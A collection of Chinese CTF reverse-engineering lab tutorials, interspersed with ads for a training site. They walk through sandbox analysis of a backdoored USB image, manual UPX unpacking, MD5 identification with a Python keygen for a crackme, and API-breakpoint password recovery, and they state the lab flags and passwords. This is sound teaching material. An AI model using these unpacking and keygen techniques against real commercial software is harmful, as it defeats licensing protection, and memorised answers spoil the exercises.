CTF REVERSE练习之病毒分析
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>> 首先介绍两个知识点,在后面的实验中运用到的。 1、7Zip 7-Zip 是一款开源软件。我们可以在任何一台计算机上使用 7-Zip ,包括用在商业用途的计算机。7-Zip 适用于 Windows 7 / Vista / XP / 2008 / 2003 / 2000 / NT / ME / 98。并且有面向 Mac OS X、Linux、Unix 平台的命令行版本。 7zip使用起来十分方便,通过添加的右键菜单,可以尝试对任意文件进行解压缩操作。7zip支持的文件格式十分丰富,其中压缩包括:7z, XZ, BZIP2, GZIP, TAR, ZIP and WIM等格式,解压缩包括:ARJ, CAB, CHM, CPIO, CramFS, DEB, DMG, FAT, HFS, ISO, LZH, LZMA, MBR, MSI, NSIS, NTFS, RAR, RPM, SquashFS, UDF, VHD, WIM, XAR, Z等格式。 在一些CTF逆向分析的题目中,我们可以尝试使用7zip对其进行解压缩操作,可能就会有意想不到的效果,可以大大加快我们的分析过程。 2、在线沙箱 网上有许多公开的在线沙箱,使用这些沙箱提供的服务,我们可以方便的观察一个程序的详细行为报告,进而判断一个程序大致的内部逻辑。 在线沙箱通常用于大致判定一个程序的行为是否安全,在逆向分析中,我们可以通过提交一个文件给沙箱程序来判断程序内部的大致逻辑,通过对沙箱报告的分析,有时候可以有效加快我们的逆向分析进程。 本文涉及知识点实操练习: https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014111410071600001 题目描述: 某日,一小学生弄了个U盘到打印店打印文件,U盘往计算机上一插,发现机子死机了,高明的打印店老板为了防止此类事件,特意设置了霸王键,可一键备份,随后老板把U盘备份了交给小王,小王想要知道U盘里到底被感染了什么你能帮帮他吗? 主机C:\Reverse\8目录下提供了这个UP_BOOT.img文件,请对该文件进行逆向分析,找到题目过关的Flag。 我们先来看这个病毒进行一个病毒特征分析 病毒程序是一个IMG文件,这种文件不是可执行文件,因此无法直接运行。我们使用7zip打开这个文件,看看里面是不是附加了什么东西。选中UP_BOOT.img文件后,单击鼠标右键,在弹出的右键菜单中选择“7Zip”——“Open archive”,如图所示: 打开文件后我们发现里面有两个文件,将其解压出来: 我们发现一个autorun.inf文件,文件内容为: “你真厉害都到这了,看看这个游戏你肯定会喜欢的,但是据说这个游戏是被加了后门的,找到后门操作的文件的内容,取文件内容的16位md5值作为key!祝你好运.......” 提示游戏“是男人你就下100层.exe”被加了后门,双击运行程序,发现弹出了一个游戏,游戏还是很难玩的,如下图所示: 继续进行分析,再次尝试使用7Zip打开“是男人你就下100层.exe”这个文件,我们发现里面有三个文件,分别为1.vbs、1.exe、2.exe,如下图所示: 拿到这些东西,之后怎么办呢。这就可以用到我们之前讲的在线沙箱。 运行释放的1.exe文件,除了一个一闪而过的黑框之外,我们看不到任何其他行为。现在我们需要使用在线沙箱分析来加快我们的分析流程,看看1.exe都有哪些行为特征。 打开在线沙箱分析平台,一般需要你注册一个账号并激活,点击“分析文件”上传1.exe进行分析,等待一段时间就可以看到分析报告了。 从分析报告中我们可以看出,1.exe释放了一个test.txt文件到当前目录,而且把test.txt的文件属性设置为系统和隐藏,因此我们看不到文件夹里面多了一个txt文件。 现在使用记事本打开这个test.txt文件,文件内容为(WdubQ4IGEzAG54NfATJTNhI4TLIvPvENyTLLWb3YCNBeK5wad5XCgrSQNOih1F),如图所示: 这就是我们所要找的文件,使用MD5计算工具,算出这个字符串的16位MD5值,为ba3c34ec7cd9c086,这就是我们要找的flag了,如图所示: 逆向真好玩,就是有点掉头发,最近的实验已经是一山更比一山高了,不仅仅是实验内容,而且还有不少工具需要了解。了解工具才能更好的做实验,解决问题! 这个技术你学会了吗?加入网安实验室,1300+网安技能任你学!
CTF REVERSE练习之脱壳分析
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>> 今天要介绍脱壳分析的实验。壳,在自然界中,植物用壳来保护种子,动物用壳来保护身体等。同样,在一些计算机软件里也有一段专门负责保护软件不被非法修改或反编译的程序。他们附加在原程序上通过Windows加载器载入内存后,先于原始程序的执行,得到控制权,执行过程中对原始程序进行解密和还原操作,还原后再把控制权交给原始程序,执行原来的代码部分。加上外壳后,原始程序代码在磁盘文件中一般是以加密后的形式存在的,只在执行时在内存中还原,这样就可以比较有效地防止破解者对程序文件的非法修改,同时也可防止程序被静态反编译。由于这段程序和自然界的壳在功能上有很多相同的地方,基于命名的规则,就把这样的程序称为“壳”了。 那加了壳,我们是不是就不能直接逆向了呢? 对的,而且壳分了好几种, 按照壳的功能特性,壳可以划分为压缩壳和加密壳,压缩壳侧重于压缩体积,加密壳侧重于加密,二者的出发点是不一样的。常见的压缩壳有upx、ASPack等,常见的加密壳有ASProtect、Armadillo等。不同的壳脱壳需要不同的操作才能脱掉。 先进入实验链接https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014111410053900001。 题目描述: 主机C:\Reverse\6目录下有一个CrackMe6.exe程序,这个程序是使用upx程序加过壳的,请尝试对其进行手工脱壳,并编写详细的分析报告。要求脱壳后的程序可以正常运行。 现在开始操作首先 运行C:\Reverse\6\CrackMe6.exe程序,提示需要对该程序进行脱壳处理,程序的运行界面如下图所示: 他说是upx壳,会不会是骗我们的,有没有什么判断壳的软件呢? 当然有,之前不是说了PEID程序吗,他不仅可以判断有没有加壳,甚至还可以判断是什么类型的壳,使用PEiD载入程序,查看CrackMe6.exe被加了什么壳,PEiD的主界面显示如下图所示: 提示信息为“UPX 0.89.6 - 1.02 / 1.05 - 1.24 -> Markus & Laszlo”,可以初步断定程序被加过UPX壳了。 下面尝试使用IDA对这个加了壳的程序进行分析,IDA弹出这样一个警告提示,如图所示: 通常弹出这样的提示都意味着程序经过了加壳处理,这时候最好不要直接使用IDA去进行分析,因为加壳后的程序很难通过IDA的静态分析来理解程序的内部执行逻辑。 这时候呢我们还是用OD来脱壳,使用OD载入CrackMe6.exe程序,OD的反汇编窗口停留在一条pushad指令上面,我们按下F8单步跟踪到下一条指令,然后在右侧的寄存器窗口中选中ESP寄存器(可以看到ESP寄存器的值为0012FFA4),并单击鼠标右键,在弹出的右键菜单中选择“数据窗口中跟随”,如图所示: 在反汇编指令窗口下面的数据窗口中,选择0012FFA4开始的四个字节,并单击鼠标右键,在弹出的右键菜单中依次选择“断点”——“硬件访问”——“Dword”菜单项,如图所示: 接下来按下F9运行程序,程序运行一段时间后OD将自动断下,这时候我们先删除之前设置的硬件断点,依次选择菜单项中的“调试”——“硬件断点”,删除我们设置的硬件断点,如图所示: 现在按F7进行单步跟踪,直到运行到0043FD24这一条指令,当然这里有一个循环比较麻烦,我们可以直接在0043FD24按下F4即可(F4代表运行到光标所在行),然后再次F7单步跟踪,来到004094F8。 0043FD17 8D4424 80 lea eax, dword ptr [esp-80] 0043FD1B 6A 00 push 0 0043FD1D 39C4 cmp esp, eax 0043FD1F ^ 75 FA jnz short 0043FD1B 0043FD21 83EC 80 sub esp, -80 0043FD24 - E9 CF97FCFF jmp 004094F8 现在在反汇编指令窗口中单击鼠标右键,选择“Dump debugged process”菜单项,在弹出的OllyDump窗口选择“Dump”按钮保存文件,注意记住这里的94F8,这是程序的入口点信息。我们将程序保存为dumped.exe,如图所示: 继续实验现在打开桌面上的ImportREC程序,首先在进程列表中选择C:\Reverse\6\crackme6.exe,然后在OEP中填入94F8(也就是在OD中找到的一个信息),然后点击“IAT AutoSearch”按钮,接着点击“GetImports”按钮,就可以看到程序的输入表信息了。 点击右侧的“Show Invalid”按钮,看看是否存在无效的输入表项目。无效的输入表项目前面带有问号(?),如果有可以使用右键菜单删除。这里没有无效的输入表项目,所以选择“Fix Dump”按钮,对我们的dumped.exe进行修复,得到dumped_.exe程序。 现在对程序的脱壳以及修复操作已经全部完成,使用PEiD对dumped.exe程序查壳,可以看到提示“Microsoft Visual C++ 6.0”信息,dumped.exe程序也可以正常运行,至此脱壳完成。 如果看完这一篇还不过瘾的话可以去实验室做实验继续学习哦。
CTF REVERSE练习之算法分析
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>> 首先从PEID的算法分析插件来介绍,要知道不管是在CTF竞赛的REVERSE题目中,还是在实际的商业产品中,很多程序都喜欢使用成熟的标准算法来作为注册算法的一个部分,如MD5、Blowfish等。这些算法本身往往就十分复杂和难以你理解,如果从反汇编指令来阅读这些算法则更是难上 加难。对于标准算法,实际上我们并不需要知道这些算法的详细计算过程,我们只需要知道是哪一个算法即可,因为标准算法网上都能找到成熟的库文件或者源码等。 PEiD有一个叫做Krypto ANALyzer的插件,使用这个插件可以对程序进行扫描,通过特征匹配来识别程序内部可能用到的一些标准算法。Krypto ANALyzer的使用方法为:点击PEiD主界面右下角的“=>”按钮,选择“插件”菜单项,然后选择“Krypto ANALyzer”,就可以弹出Krypto ANALyzer插件了。Krypto ANALyzer插件会自动分析程序内部可能用到的标准算法,如图所示: 下图中显示了程序中在地址00401E5C处存在MD5算法的特征: 除了要知道这些插件呢,还有一些小技巧,在IDA中,我们可以通过按下N键来对一个变量/函数/标记等进行重命名操作,函数和变量命名对于帮主我们理解程序的内部逻辑非常重要,就好比我们在编程的时候,培养良好的编程风格非常重要一样。 比如,如果函数sub_4012E0经过我们分析之后,确定其功能为将传入的字符串转为大写形式,那么我们可以选中sub_4012E0后按下N键对其进行重命名(将函数名命名为fnStringToUpper): IDA还可以给汇编指令或者伪代码来添加注释。如果要对某一条汇编指令添加注释,只需要在汇编指令所在行按下封号(即;)即可弹出对话框来接收注释;如果要给伪代码添加注释,则只需在伪代码所在行按下斜杠(即/)即可弹出对话框来接收注释。 OD也可以给汇编指令添加注释,只需要在汇编指令所在行后一列的空白处双击鼠标左键即可,如图所示: 我们来看实验吧,同样进入实验链接https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014111410041300001。 好好看下实验描述, 主机C:\Reverse\4目录下有一个CrackMe4.exe程序,运行这个程序的时候会提示输入用户名和注册码进行注册,当输入正确的用户名和注册码时,会弹出成功提示的消息框,请对CrackMe4.exe程序进行逆向分析和调试,尝试编写一个注册机程序。 首先运行这个程序后要求输入一个用户名和密码进行注册,当注册失败的时候,程序将弹出一个消息框提示不正确,如图所示: 那么我们可以通过IDA的交叉引用功能来定位这一块的代码。使用IDA载入CrackMe4.exe程序,待分析结束后,通过Imports TAB页面找到MessageBoxA,双击来到反汇编视图,在MessageBoxA按下X按键对其进行交叉引用查找,经过一个一个进行分析,我们发现sub_4016B0就是我们所要找的关键函数,我们通过F5得到这个函数的伪代码。通过对伪代码添加注释,以及对变量进行重命名操作,我们得到如下的代码片段: 上面的伪代码有两个错误,就是在第一个if语句中会判断密码的长度是否为33,如果不是33就弹出错误提示。其实这里是32(而用户名的长度则不能大于10)只是Hex-Rays Decompiler这个插件生成伪代码时出错了,所以需要记住,F5生成的伪代码并不保证完全正确。32这个长度对应汇编指令中的代码片段如下: 通过上面的伪代码的分析,我们发现只有sub_401510这个函数的功能并不清楚,通过双击sub_401510查看对应的伪代码,发现有点复杂,暂时无法理解,不过这并不要紧。 我们来用PEID的算法识别使用PEiD的Krypto ANALyzer进行快速识别,将CrackMe4.exe载入PEiD,点击PEiD主界面右下角的“=>”按钮,选择“插件”菜单项,然后选择“Krypto ANALyzer”,就可以弹出Krypto ANALyzer插件了,Krypto ANALyzer提示程序使用了MD5算法,如下图所示: 我们记住00401E5C这个地址,在IDA的反汇编指令视图(IDA View)中按下G键,输入00401E5C,就会自动跳转到计算MD5的函数代码中,如图所示: 从这里并不能得到什么有用的信息,我们需要通过不断的回溯来理解程序的代码逻辑。通过往上查阅代码,我们知道00401E5C 位于函数sub_401D10之中,我们对sub_401D10进行交叉引用查找,如图所示: 可以从sub_401D10回溯到sub_4026F0,继续通过交叉引用往上回溯,依次为sub_4027B0、sub_401C00、sub_401BB0、sub_401510,而sub_401510就是我们在实验步骤一种为一个暂时不理解的函数。那么我们可以猜测sub_401510这个函数就是用来计算用户名的MD5值的,我们可以通过OD动态调试来验证我们的想法。 通过阅读IDA中的反汇编代码,我们知道在00401752处调用了sub_401510这个函数, .text:00401752 call sub_401510 现在OD载入CrackMe4.exe程序,在00401752处设置一个断点,然后按F9运行程序,用户名输入test,密码输入一个32个字符的任意字符串,单击“注册”按钮,程序便会自动断下,断下后按F8进行单步跟踪,执行sub_401510这个函数后,我们看到eax寄存器的值为098F6BCD4621D373CADE4E832627B4F6,这个恰好就是test的MD5值。 用工具就是为了帮我们把复杂的事情变得简单起来,我们算法分析完之后就可以直接把题目解了,我们来编写一个注册机了。程序的注册算法为:将用户名进行MD5计算得到一个哈希值,将哈希值转换为答谢字符串即可,其中用户名的长度在1~10之间,不能超过10. Python内置了MD5算法,可以非常方便的计算MD5值,我们编写这样一段脚本即可:(代码位于C:\Reverse\4\Keygen.py) import hashlib while True**:** username = raw_input("input username:") md5 = hashlib.md5(username).hexdigest().upper() serial = md5[::-1] # 翻转**字符串** print "serial: %s" % serial 我们输入用户名Wins0n,就可以得到注册码为51F561458ADAEEBA43A57CF7E59F6CC4,输入程序可以成功注册,如图所示: 如果看完这一篇还不过瘾的话可以去实验室做实验继续学习哦。
CTF REVERSE练习之API断点
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>> 在逆向分析中经常会遇到输入表这个概念,输入表中保存的是在程序中调用的但定义在其他DLL中的函数信息以及对应的DLL信息。我们在程序中直接调用Windows API的时候,这些API都可以在程序的输入表中可以看到。 使用PEiD可以方便的查看程序的输入表结构,将程序载入PEiD后,点击主界面中的“子系统”,在弹出的“PE细节”中点击“输入表”就可以打开“输入表查看器”了,如图所示: 在实验《CTF REVERSE练习之API定位》中使用的方法其实就是通过输入表中的API来定位关键函数代码的。 虽然输入表中可以看到程序使用了哪些API,进一步通过OD的API参考断点,或者是IDA中的交叉引用就可以定位到程序在哪些地方使用了这些API,但是我们也可以通过动态调用的方式来消除输入表中的API特征。 消除了特征是不是我们就找不到了啊,那我们怎么做题呢 我们可以通过配合使用LoadLibrary以及GetProcAddress,我们就可以动态获取API函数的地址了,其中LoadLibrary用于加载动态链接库,GetProcAddress用于获取指定动态链接库中指定API函数的地址。动态调用的API无法通过OD的输入表API参考断点或者IDA的交叉引用来进行定位。 API断点 在OD中可以对特定的API设置一个断点,不管是直接调用的API还是动态调用的API。 在OD的反汇编指令窗口中按下Ctrl+G快捷键,在弹出的对话框中输入MessageBoxA,单击“确定”按钮后就可以来到MessageBoxA的函数代码了,我们对其第一条指令设置一个断点,即在77D507EA按下F2即可。 在OD左下角的Command窗口中输入bp命令也可以下断点,比如输入bp MessageBoxA,按下Enter就可以对MessageBoxA设置一个断点了。 下面开始实验。 打开蚁景网安实验室(www.yijinglab.com)搜索实验《CTF REVERSE练习之API断点》。 先看题目描述: 主机C:\Reverse\3目录下有一个CrackMe3.exe程序,运行这个程序的时候会提示输入一个密码,当输入正确的密码时,会弹出过关提示消息框,请对CrackMe3.exe程序进行逆向分析和调试,找到正确的过关密码。 这个CrackMe程序不再直接调用MessageBoxA这个API,主要考察通过API断点以及MessageBoxA的阻塞特性来定位关键函数代码的方法,以及在逆向分析中结合使用OD与IDA的方法。 这个实验中程序的外部行为与《CTF REVERSE练习之逆向初探》、《CTF REVERSE练习之API定位》两个实验的程序行为是一致的,因此这里不再赘述。 使用OD载入CrackMe3.exe程序之后,按下Ctrl+G快捷键,输入MessageBoxA定位到MessageBoxA的代码,在第一条指令按下F2设置一个断点,如图所示: 按下F9使程序执行起来,随便输入一个密码(如test)后单击“确定”按钮,程序将在MessageBoxA中的第一条指令断下,这时候依次点击OD菜单中的“调试”——“执行到用户代码”,如下图所示: 我们继续看题这时候CrackMe的错误提示消息框将会弹出来,我们点击消息框的“确定”按钮,程序在OD中会再次断下。这次是因为点击了“执行到用户代码”的原因,OD会在调用了MessageBoxA的下一条指令自动断下,如图所示: 可以知道004015F6处的call就是调用了MessageBoxA函数: 004015F6 . FF55 60 call dword ptr [ebp+60] 我们按F8进行单步跟踪,就可以看到一个奇怪的字符串,而这个字符串就是我们要找的过关密码,如图所示: 我们来用IDA进行分析在实验步骤一中,我们在MessageBoxA断下后,通过“执行到用户代码”回到CrackMe空间的代码,通过简单的F8单步跟踪,就很幸运的看到了过关密码。然而在实际调试过程中,可能需要跟踪很久才能发现一点蛛丝马迹,那么我们可以结合IDA的静态分析功能来加速我们的逆向过程。 在前面的分析中,我们知道在004015F6这个地址调用了MessageBoxA函数,现在使用IDA载入CrackMe3.exe,待分析结束后按下G,然后输入“004015F6”后点击OK按钮,就会自动跳转到004015F6这个地方了,如图所示: 我们在这里按下F5生成函数的伪代码。因为程序中已经对LoadStringA以及MessageBoxA这两个API进行了动态调用,所以这里的伪代码看起来也是非常怪异了,不过我们可以通过添加注释来帮助我们对程序的理解,如图所示: 可以看到程序使用了strcmp对输入的密码进行了判断,如果是HeeTianLab则弹出正确提示,否则弹出错误提示。 第三种利用MessageBox的阻塞特性定位关键代码。 我们知道MessageBox是一个阻塞的API,就是当调用这个API的时候,会弹出一个消息框,此时程序的代码执行流就会自动阻塞在调用MessageBox的地方,直到点击提示框上的按钮或者关闭提示框时,程序才会继续往下执行。 那么在程序弹出MessageBox的时候,我们可以在OD中让程序断下来,然后通过“执行到用户代码”来回到调用MessageBox的地方,这就是说MessageBox本身就类似于“断点”。 使用OD载入CrackMe3.exe,如果之前设置了断点,为了防止干扰,我们需要先清除掉之前设置的断点。通过OD的菜单项“查看”——“断点”可以打开断点窗口,然后通过右键菜单来删除已经设置的断点,如图所示: 断点清理完毕之后,按F9运行程序,随便输入一个密码(如test)进行测试,在弹出消息框之后不要关闭消息框,在OD顶部的工具栏中点击“暂停”执行按钮(或者按F12快捷键),程序就会自动断下,如图所示: 这时候依次点击OD菜单中的“调试”——“执行到用户代码”, 我们点击消息框的“确定”按钮,程序在OD中会再次断下。这次是因为点击了“执行到用户代码”的原因,OD会在调用了MessageBoxA的下一条指令自动断下,如图所示: 接下来和实验步骤一的情况类似了,F8单步跟踪就能看到密码了。 逆向真的是一个很复杂的知识点,想要掌握需要花不少时间,这次实验和上次学习的API定位结合的很紧,有了API定位基础本次实验也能比较好理解。  这个技术你学会了吗?加入网安实验室,1300+网安技能任你学!
CTF REVERSE练习之API定位
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>> 今天要做的实验是CTF REVERSE练习之API定位。 Windows这个多作业系统除了协调应用程序的执行、分配内存、管理资源之外, 它同时也是一个很大的服务中心,调用这个服务中心的各种服务(每一种服务就是一个函数),可以帮应用程式达到开启视窗、描绘图形、使用周边设备等目的,由于这些函数服务的对象是应用程序(Application),所以便称之为 Application Programming Interface,简称 API 函数。 另外需要注意的是两种编码,ANSI与Unicode,ANSI的ASCII字符集及其派生字符集(也称多字节字符集)比较旧,而Unicode字符集比较新,固定以双字节表示一个字。Windows操作系统在声明一个API时,如果这个API存在字符串参数,便会指定字符集。每个含有字符串参数的API同时有两个版本:即ANSI,Unicode。尾部带A的API是ANSI版本,带W的API是Unicode版本。 例如:我们在编程时使用的MessageBox实际上是一个宏,根据字符集的不同被定义为不同版本的MessageBox,如果是UNICODE字符集,则实际上为MessasgeBoxW,如果是ANSI字符集,则实际上为MessageBoxA: #ifdef UNICODE #define MessageBox MessageBoxW #else #define MessageBox MessageBoxA #endif // !UNICODE 交叉引用。 通过交叉引用(XREF)可以知道指令代码相互调用的关系,如下图所示: 这句“CODE XREF: WinMain(x,x,x,x)+10↑p”,表示调用sub_41BD0D这个函数的地方为WinMain函数,p表示是以函数调用(procedure)的方式跳转到当前的位置的,其他的一些符号:o表示偏移值(offset),j表示跳转(jump)。 在sub_41BD0D上面按X键,可以打开交叉引用窗口,这里会列出所有调用了sub_41BD0D这个函数的地方,如图所示: 从图中可以看到,只有在WinMain函数中调用了sub_41BD0D这个函数。 现在我们开始进行实验,进入实验链接https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014111410022800001。 先看题目描述,主机C:\Reverse\2目录下有一个CrackMe2.exe程序,运行这个程序的时候会提示输入一个密码,当输入正确的密码时,会弹出过关提示消息框,请对CrackMe2.exe程序进行逆向分析和调试,找到正确的过关密码。 不管在什么场景下,相信大家在刚接触一个新事物的时候,都会仔细观察事物的外部特征,CTF做题也是一样的,在拿到题目之后可以运行程序,观察程序都有哪些地方可以输入数据,哪些按钮点击了会有什么样的反应,在操作过程中出现了哪些提示等。 通过对CrackMe2.exe程序的观察,我们知道程序需要输入一个密码,当不输入任何数据就点击按钮时,提示如下信息: 当输入一串测试数据时,提示如下信息: 通过这些操作后,我们可以猜测程序的意图是输入一个正确的密码。 在对一个程序进行逆向分析之前,除了程序的动态行为之外,查看程序是否加壳(被何种程序加壳?是什么编译器编译的?)也是一个非常关键的步骤。我们选中程序后单击右键,在右键菜单中选择“Scan with PEiD”选项,就可以查看加壳信息了。我们这里看到的是Microsoft Visual C++ 6.0,说明CrackMe2.exe没有加壳,且它是使用VC6编译的。 我们来试一试使用OD载入CrackMe2.exe程序,如果继续使用实验《CTF REVERSE练习之逆向初探》中提到的方法查找字符串,是找不到的,会有如下提示: 继续看我们在反汇编指令列表中单击右键,在右键菜单中依次选择“查找”——“当前模块中的名称(标签)”,如图所示: 点击弹出的名称窗口,在键盘上敲下MESSAGEBOXA,就会自动定位到MessageBoxA,点击鼠标选中MessageBoxA这一行,单击右键,在弹出的右键菜单中选择“在每个参考上设置断点”,如图所示: 在OD最下方的状态栏上可以看到“已设置 2 个断点”的提示。 现在按F9运行程序,随便给程序输入一个密码(如test),单击确定按钮后程序将在OD中断下,断下的位置为对MessageBoxA的调用的位置,如图所示: 这就是我们要找的关键函数,现在我们查看附近的代码,就找到了密码明文,如图所示: 用OD解题之后,我们继续用IDA来解题一下。 使用IDA载入CrackMe2.exe程序进行分析,等待分析完毕后,选择主窗口面板上的Imports TAB页面,然后在键盘上敲下MESSAGEBOXA,就可以自动定位到MessageBoxA函数,如图所示: 前面提到了交叉引用这里我们可以用到双击00422420这个条目,来到MessageBoxA定义的位置,选中后按下X键,弹出交叉引用列表窗口,我们看到一共有四个条目,如图所示: 我们并不能直接看出哪一个引用就是我们所要找的引用,所以需要一个一个进行查看,根据前面使用OD对程序的分析,我们知道在MessageBoxA之前有许多对LoadString的调用,因此通过对比几个交叉引用,可以断定sub_401450就是我们要找的函数。 使用F5还原sub_401450函数的伪代码,我们断定LoadString加载资源ID为0x6A的字符串就是我们要找的密码,伪代码如下: 接下来我们使用Restorator打开CrackMe2.exe程序来查看字符串资源,如图所示,0x6A的十进制即106,因此可以知道密码就是HeeTianLab了。 那今天的实验就介绍到这里。我们需要好好掌握API还有后面的实验内容。  这个技术你学会了吗?加入网安实验室,1300+网安技能任你学!
CTF-REVERSE练习之逆向初探
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>> 逆向是指通过反汇编和调试等一些手段及工具,分析计算机程序的二进制可执行代码,从而获得程序的算法细节和实现原理的技术。不仅如此,逆向技能在信息安全面向的具体工作,如恶意代码分析、软件漏洞挖掘、移动安全以及对软件的破解方面发挥着巨大的作用。 前面介绍过CTF的web真题,那今天我们从CTF中选择一个REVERSE题型来讲解。 先介绍一下,REVERSE是CTF竞赛中的一种常见题目类型,主要考察参赛选手逆向工程相关的知识,考查形式为通过对一个二进制程序(exe、dll或者是elf等)进行逆向分析,了解程序内部的实现机制,最终目的可能是得到一个密码,或者是编写一个注册机用于计算指定用户名对应的注册码等。 那我们要怎么才能对一个程序进行逆向,一个完整的程序怎么看到它的代码呢? 当然别人也想到过这种问题,所以就出现了几种帮助逆向的工具。 1.PEiD是一款著名的查壳工具,其功能十分强大,几乎可以侦测出绝大部分的壳以及程序编译信息。PEiD支持各种外部插件,同时支持用户自定义的加壳程序签名信息。 2.Ollydbg简称OD,是一款具有图形用户界面的用户模式调试器,可以运行于各种主流Windows操作系统下。Ollydbg具有动态调试和静态分析功能,非常容易上手,对异常的跟踪处理相当灵活,并且许多爱好者为这款调试器编写了许多非常棒的插件,这些特性使得其成为Windows操作系统上用户模式下动态调试器的首选。Ollydbg的反汇编引擎十分强大,可以识别数千个被C和Windows频繁使用的函数,并可以自动对参数进行注释。底下是OD一些常用的快捷键。 F2 设置一个断点(如果断点已经存在,那么断点将被删除) F4 运行到光标所在行(运行到光标所在行时自动断下) F7 单步跟踪(如果遇到一个call,则跟踪进入) F8 单步跟踪(如果遇到一个call,则执行完整个call) F9 继续执行(运行程序,直到进程退出或遇到下一个断点) 3.IDA是一款交互式反汇编工具,其功能十分强大,支持多操作系统、多处理器下的二进制程序的反汇编分析,并且可以和使用者进行交互来提升处理效率。IDA支持插件,支持IDC脚本,Hex-Rays Decompiler是IDA一个十分强大的插件,支持将反汇编代码直接转换为C语言伪代码,极大的提高了反汇编分析人员的工作效率。这底下是ida的快捷键可以帮助我们更加高效的进行分析。 空格 在图形模式和列表视图模式之间切换反汇编视图 F5 将反汇编指令还原为伪代码 x 查看交叉引用 n 对变量名或者函数名进行重命名操作 d 将二进制数据解释为字节/双字/四字 c 将二进制数据解释为代码 a 将二进制数据解释为字符串 实验步骤 好我们来开始实验,先进入实验网页:CTF-REVERSE练习之逆向初探。 题目描述: 主机C:\Reverse\1目录下有一个CrackMe1.exe程序,运行这个程序的时候会提示输入一个密码,当输入正确的密码时,会弹出过关提示消息框,请对CrackMe1.exe程序进行逆向分析和调试,找到正确的过关密码。 我们开始第一步进行外部行为分析不管在什么场景下,相信你在刚接触一个新事物的时候,都会仔细观察事物的外部特征,CTF做题也是一样的,在拿到题目之后可以运行程序,观察程序都有哪些地方可以输入数据,哪些按钮点击了会有什么样的反应,在操作过程中出现了哪些提示等。 我们通过对CrackMe1.exe程序的观察,知道程序需要输入一个密码,当不输入任何数据就点击按钮时,提示如下信息: 当输入一串测试数据时,提示如下信息: 这里有弹框还有提示,我们是不是直接去查找这个提示就可以了呢。但是我们在对一个程序进行逆向分析之前,除了程序的动态行为之外,查看程序是否加壳(被何种程序加壳?是什么编译器编译的?)也是一个非常关键的步骤。之前提到了PEID,我们就用PEID来查壳我们选中程序后单击右键,在右键菜单中选择“Scan with PEiD”选项,就可以查看加壳信息了。我们这里看到的是Microsoft Visual C++ 6.0,说明CrackMe1.exe没有加壳,且它是使用VC6编译的。 我们换OD来进行动态调试, 动态调试可以帮助我们了解程序内部执行逻辑的许多详细信息,很多信息只有在程序运行起来之后才会看到,这也是静态分析所无法简单获取到的。OD是我们在Windows操作系统下动态调试器的首选。 操作选择CrackMe1.exe程序后单击右键,在右键菜单中选择“用OllyICE”打开,就会进行OD调试器的主界面,我们在反汇编指令列表窗口中单击右键,依次选择“Ultra String Reference”、“Find ASCII”菜单项,如图所示: 之后会弹出字符串列表窗口,这个窗口列出了当前进程内存空间中存在的各种字符串,我们可以查看是否存在有我们感兴趣的字符串。比如前面曾经提示“密码错误”的提示,那么我们就可以按下Ctrl+F,在弹出的窗口中输入“密码错误”,然后单击确定按钮查找: 上面还有一个密码正确,恭喜过关,这是不是关键呢?我们试一试双击这个看看。 双击找到字符串的那一行,来到OD的反汇编窗口,就能看到代码指令中引用这个字符串的地方了。如下图所示: 在这个代码片段中,我们还看到了一个jnz跳转指令,这个指令是否跳转将决定着弹出成功的提示还是弹出失败的提示,这样的跳转也就是所谓的关键跳转。在关键跳转之上的代码往往就是关键的密码判断逻辑,因此我们可以着重分析关键跳转之上的代码。在关键跳转之上,我们在下面的的位置下一个断点(鼠标单击这行代码选中,然后按下F2): 00401456 . 55 push ebp 下好断点之后,按下F9运行程序,随便输入一个密码(比如test)后单击按钮,程序就自动在我们的断点断下了,接下来按F8开始进行单步跟踪,当跟踪到00401490的时候,我们发现了我们输入的密码test,同时发现字符串HeeTianLab,如图所示: 仔细分析上面的代码,发现是在从这两个字符串里面取出字符一个一个进行对比,只要有一个字符不一样,最终都会跳转到提示失败的地方去。那么可以猜测HeeTianLab就是正确的密码了,我们运行另一个CrackMe1进程,输入HeeTianLab,弹出成功提示: 这就通关了,接下来我用另外一个神器IDA再来做一遍,有动态的神器,肯定还有一个静态的神器。 除了动态调试之外,静态分析也是一种很重要的技能。静态分析可以帮助我们快速了解程序的代码执行逻辑,尤其是使用IDA的Hex-Rays插件将汇编代码生成伪代码的功能,可以极大地提高我们的分析效率。 使用IDA打开CrackMe1.exe程序,IDA会提示选择文件类型、处理器类型等,通常我们不需要修改这些设置,直接单击“OK”按钮即可。之后IDA会对程序进行分析,等待一段时间,待分析结束之后,在下方的“Output Window”中会提示“The initial autoanalysis has been finished.”,如图: 在IDA的菜单中选择“View”——“Open subviews”——“Strings”菜单项,就可以弹出字符串列表界面了,如图所示: IDA的字符串列表界面没有提供Ctrl+F快捷进行查找的功能,所以我们需要手工翻页来查找我们感兴趣的字符串,拖到某一个地方的时候我们看到了提示相关的字符串: 双击“密码错误”这个字符串,来定定义该字符串的地方,然后鼠标点击字符串的名字,然后按下x键,进行交叉引用查找,弹出的对话框如下图所示: 单击OK按钮来到引用这个字符串的地方,我们看到了一堆反汇编指令列表,这时候就可以对这里的汇编指令进行分析了,如果不想看汇编指令也不要紧,按下F5键就可以生成函数的伪代码了,我们看到伪代码中将输入的密码和HeeTianLab进行了比较: 很明显,HeeTianLab就是我们想要的密码。 逆向的学习是一个需要对计算机相关及编程知识系统有较深了解的过程,它是一个不断渐进的阶段性技能。想学好逆向,你必须具备众多的编程语言储备、安全相关知识、对计算机原理有良好的认识和常识。而这些只是逆向的基础!  这个技术你学会了吗?加入网安实验室,1300+网安技能任你学!
